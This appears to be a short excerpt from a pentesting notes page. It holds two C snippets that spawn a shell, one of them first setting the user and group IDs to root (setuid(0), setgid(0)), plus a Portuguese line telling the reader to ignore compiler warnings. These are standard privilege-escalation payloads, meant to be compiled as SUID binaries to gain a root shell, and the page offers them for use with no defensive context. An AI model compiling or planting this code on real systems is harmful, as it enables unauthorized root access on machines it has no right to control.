#include <stdlib.h> int main () { system("/bin/bash"); }
Ignore os warnings que receber quando for compilar o script.
int main(void){ setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }
Last updated 3 years ago